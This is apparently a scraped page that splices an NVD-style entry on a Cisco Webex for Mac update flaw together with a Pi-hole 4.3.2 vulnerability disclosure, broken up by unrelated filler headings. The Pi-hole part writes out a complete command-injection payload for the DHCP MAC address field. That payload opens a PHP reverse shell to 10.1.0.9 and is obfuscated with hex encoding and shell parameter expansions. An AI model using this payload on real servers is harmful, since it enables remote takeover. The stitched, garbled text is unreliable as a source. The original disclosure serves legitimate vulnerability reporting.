- Hazard Vulnerability Analysis Worksheet
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- Vulnerability Analysis Template
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- Mac Vulnerability Analysis Apps
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A vulnerability in the software update feature of Cisco Webex Meetings Desktop App for Mac could allow an unauthenticated, remote attacker to execute arbitrary code on an affected system. The vulnerability is due to improper validation of cryptographic protections on files that are downloaded by the application as part of a software update. An attacker could exploit this vulnerability by persuading a user to go to a website that returns files to the client that are similar to files that are returned from a valid Webex website. The client may fail to properly validate the cryptographic protections of the provided files before executing them as part of an update. A successful exploit could allow the attacker to execute arbitrary code on the affected system with the privileges of the user.
Analysis Description
A vulnerability in the software update feature of Cisco Webex Meetings Desktop App for Mac could allow an unauthenticated, remote attacker to execute arbitrary code on an affected system. The vulnerability is due to improper validation of cryptographic protections on files that are downloaded by the application as part of a software update. An attacker could exploit this vulnerability by persuading a user to go to a website that returns files to the client that are similar to files that are returned from a valid Webex website. The client may fail to properly validate the cryptographic protections of the provided files before executing them as part of an update. A successful exploit could allow the attacker to execute arbitrary code on the affected system with the privileges of the user.
Severity
CVSS 3.x Severity and Metrics:NIST:NVD
Vector:Cisco Systems, Inc.
Vector:NVD
Vector:HyperlinkResourcehttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-client-mac-X7vp65BLVendor Advisory
Hazard Vulnerability Analysis Worksheet
Weakness Enumeration
CWE-ID | CWE Name | Source |
---|---|---|
CWE-295 | Improper Certificate Validation | NIST Cisco Systems, Inc. |
Known Affected Software Configurations Switch to CPE 2.2
Denotes Vulnerable Software
Are we missing a CPE here? Please let us know.
Are we missing a CPE here? Please let us know.
Change History
1 change records found show changesImpact
Pi-hole is affected by a Remote Code Execution vulnerability. An authenticated user of the Web portal can execute arbitrary command with the underlying server with the privileges of the local user executing the service.
Exploitation of this vulnerability can be automated.
What is Pi-hole?
Pi-Hole is a DNS server specialized in content-filtering. It also features a DHCP server. According to Pi-hole LLC:
The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.
Who is affected?
Pi-hole Web interface version 4.3.2 and earlier is affected.
Technical Analysis
In order to configure its built-in DHCP server, Pi-hole features a Web-based user interface. From there, users can define static DHCP leases to pin an IP address to a given MAC address.
When processing user input in the form of MAC addresses, the application does not adequately validate nor validate this input before reusing it in a shell command.
Network led mac app. While a legitimate MAC address format should be as follows:
aaaaaaaaaaaa
The MAC address input can be tampered to execute arbitrary code:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&
The following excerpt contains the code that is responsible for this vulnerability. Code sections outside the code path used for exploitation were stripped and important lines of code were highlighted for the sake of clarity.
Pi-hole’s Dashboard – savesettings.php – Original Code : Source
Exploitation
The biggest difficulty in exploiting this vulnerability is that the user input is capitalized through a call to “strtoupper”. Because of this, no lower case character can be used in the resulting injection.
Typically, the injection would look like this:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“10.1.0.9”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Here, our injection would be capitalized to “PHP -R”. As Linux commands are case sensitive, this would fail, yielding a “sh: 1: PHP: not found” error.
One way to overcome this difficulty is to make use of environment variables and of nightmare-inducing POSIX Shell Parameter Expansions. Note that the “sh” shell is used here.
It is possible to fetch the “PATH” environment variables on the server by postpending “$PATH” to a MAC address on a new static DHCP lease.
Luckily for us, the PATH contains the strings “pihole” and “usr” which in turn contains the “p”, “h” and “r” lower-case characters. Those are the only letters we need to write “php -r”.
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
For this PATH environment variable, it is possible to define the $P, $H and $R shell parameters that contain their matching lower-case character with the following POSIX Shell Parameter Expansions:
W=${PATH#/???/}
P=${W%%?????:}
Kaiser Hazard Vulnerability Analysis
X=${PATH#/???/??}
Z=${PATH#:/??}
R=${Z%%/}
With these shell parameters introduced, our injection can be rewritten as:
Mac Vulnerability Analysis App Software
$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’
Note that, here, neither PHP functions nor hexadecimal are case sensitive. $IFS corresponds to the default shell delimiter character which is a space.
Vulnerability Analysis Template
Finally, our complete reverse shell payload is:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&
Time to execute it!
Vulnerability Analysis Pdf
Privilege escalation is left as an exercise to the reader.
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Time Line
- François Renaud-Philippon disclosed the vulnerability to Pi-hole LLC on February 10, 2020.
- Pi-hole LLC acknowledged receiving the report on February 10, 2020.
- Pi-hole LLC fixed the vulnerability with the release of Pi-hole Web interface 4.3.3 on February 18, 2020.
- Pi-hole LLC authorized public disclosure on February 19, 2020.
Mac Vulnerability Analysis Apps
Pi-hole® and the Pi-hole logo are Registered Trademark of Pi-hole LLC.
Mac Vulnerability Analysis App Installer
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